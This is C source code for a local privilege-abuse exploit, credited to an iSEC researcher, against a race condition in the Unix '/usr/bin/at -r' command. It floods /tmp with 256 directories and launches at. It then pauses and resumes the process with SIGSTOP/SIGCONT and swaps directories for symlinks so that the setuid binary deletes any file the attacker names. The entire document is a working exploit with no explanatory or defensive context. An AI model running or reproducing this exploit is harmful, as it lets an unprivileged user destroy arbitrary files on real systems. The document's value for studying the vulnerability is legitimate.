#include <stdio.h> #include <unistd.h> #include <signal.h> #include <sys/types.h> #include <errno.h> #include <stdlib.h> #include <sys/param.h> #include <fcntl.h> #include <string.h> #include <sys/stat.h> #include <sys/wait.h> #define maxjobs 256 #define tmpdir "/tmp" #define at "/usr/bin/at" char target[MAXPATHLEN+1]; char targetfile[MAXPATHLEN+1]; char targetdir[MAXPATHLEN+1]; void cleandirs(void); void err(char * msg) { if (errno) { int error = errno; perror(msg); cleandirs(); errno = error; exit(errno); } } void gohome(void) { char * home; home = getenv("HOME"); if (!home) { errno = EINVAL; err("getenv(\"HOME\")"); } if (chdir(home) < 0) err("chdir($HOME)"); } void cleandirs(void) { int no; char * tmp; for (no = 0; no < maxjobs; no++) { char path[MAXPATHLEN+1]; snprintf(path, MAXPATHLEN, "%s/%i/%s", tmpdir, no, targetfile); path[MAXPATHLEN] = '\0'; unlink(path); snprintf(path, MAXPATHLEN, "%s/%i", tmpdir, no); path[MAXPATHLEN] = '\0'; unlink(path); rmdir(path); } } void createdirs(char ** argv) { int no; for(no = 0; no < maxjobs; no++) { char path[MAXPATHLEN+1]; int fd; snprintf(path, MAXPATHLEN, "%s/%i", tmpdir, no); path[MAXPATHLEN] = '\0'; unlink(path); if (mkdir(path, 0755) < 0 && errno != EEXIST) err("Unable to create directory"); snprintf(path, MAXPATHLEN, "../../../..%s/%i/%s", tmpdir, no, targetfile); path[MAXPATHLEN] = '\0'; fd = open(path, O_CREAT|O_RDONLY, 0755); if (fd < 0 && errno != EEXIST) err("Unable to create file"); close(fd); /* empty file is just fine */ argv[no] = strdup(path); if (!argv[no]) err("Unable to allocate memory"); } argv[no] = NULL; } pid_t spawnat(char ** argv) { int no, fd; pid_t child; child = fork(); if (child < 0) err("Unable to fork"); if (child) return child; /* child process */ if (nice(19) < 0) err("Unable to change priority"); fd = open("/dev/null", O_RDWR); if (fd < 0) err("Unable to open /dev/null"); if (dup2(fd, STDIN_FILENO) < 0 || dup2(fd, STDOUT_FILENO) < 0 || dup2(fd, STDERR_FILENO) < 0) err("Unable to dup /dev/null"); if (fd > STDERR_FILENO) close(fd); execv(argv[0], argv); err("Unable to execute at binary"); } int doit(char * target) { int no = 0; char path[MAXPATHLEN+1]; char * argv[maxjobs + 3]; pid_t child; uid_t uid = getuid(); int result = -1; argv[0] = at; argv[1] = "-r"; createdirs(argv+2); child = spawnat(argv); while (no < maxjobs) { struct stat st; /* check if previous attempt succeeded */ if (stat(target, &st) < 0) { if (errno == ENOENT) { result = 0; break; } else err("Unable to stat target file"); } /* wait until file is deleted */ snprintf(path, MAXPATHLEN, "%s/%i/%s", tmpdir, no, targetfile); path[MAXPATHLEN] = '\0'; while (stat(path, &st) == 0) ; if (errno != ENOENT) err("Unable to stat temporary file"); /* stop the child to exploit race condition */ if (kill(child, SIGSTOP) < 0) break; /* find first file that hasn't been removed yet */ while (++no < maxjobs) { snprintf(path, MAXPATHLEN, "%s/%i/%s", tmpdir, no, targetfile); path[MAXPATHLEN] = '\0'; if (stat(path, &st) == 0) break; if (errno != ENOENT) err("Unable to stat temporary file"); } /* all jobs removed - too late */ if (no == maxjobs) { kill(child, SIGCONT); break; } if (unlink(path) < 0) err("Unable to remove temporary file"); *strrchr(path, '/') = '\0'; if (rmdir(path) < 0) err("Unable to remove temporary directory"); if (symlink(targetdir, path) < 0) err("Unable to create symlink"); if (kill(child, SIGCONT) < 0) err("Unable to continue child process"); no++; } /* avoid zombie processes */ waitpid(child, NULL, 0); for (no = 0; no < maxjobs; no ++) free(argv + no + 2); return result; } int main(int argc, char * argv[]) { char * tmp; fprintf(stderr, " /usr/bin/at -r race condition exploit Remove any file on the filesystem. Bug found and exploit written by Wojciech Purczynski <cliph@isec.pl> iSEC Security Research http://isec.pl/ "); gohome(); errno = EINVAL; if (argc < 2) err("Required parameter missing"); if (argv[1][0] != '/') err("Absolute path required"); strncpy(target, argv[1], MAXPATHLEN); target[MAXPATHLEN] = '\0'; tmp = strrchr(argv[1], '/'); *tmp = '\0'; if (tmp == argv[1]) strcpy(targetdir, "/"); else { strncpy(targetdir, argv[1], MAXPATHLEN); targetdir[MAXPATHLEN] = '\0'; } strncpy(targetfile, tmp+1, MAXPATHLEN); targetfile[MAXPATHLEN] = '\0'; while (doit(target)) fprintf(stderr, "."); /* przygarnij kropka */ fprintf(stderr, "Success!\n"); cleandirs(); return 0; }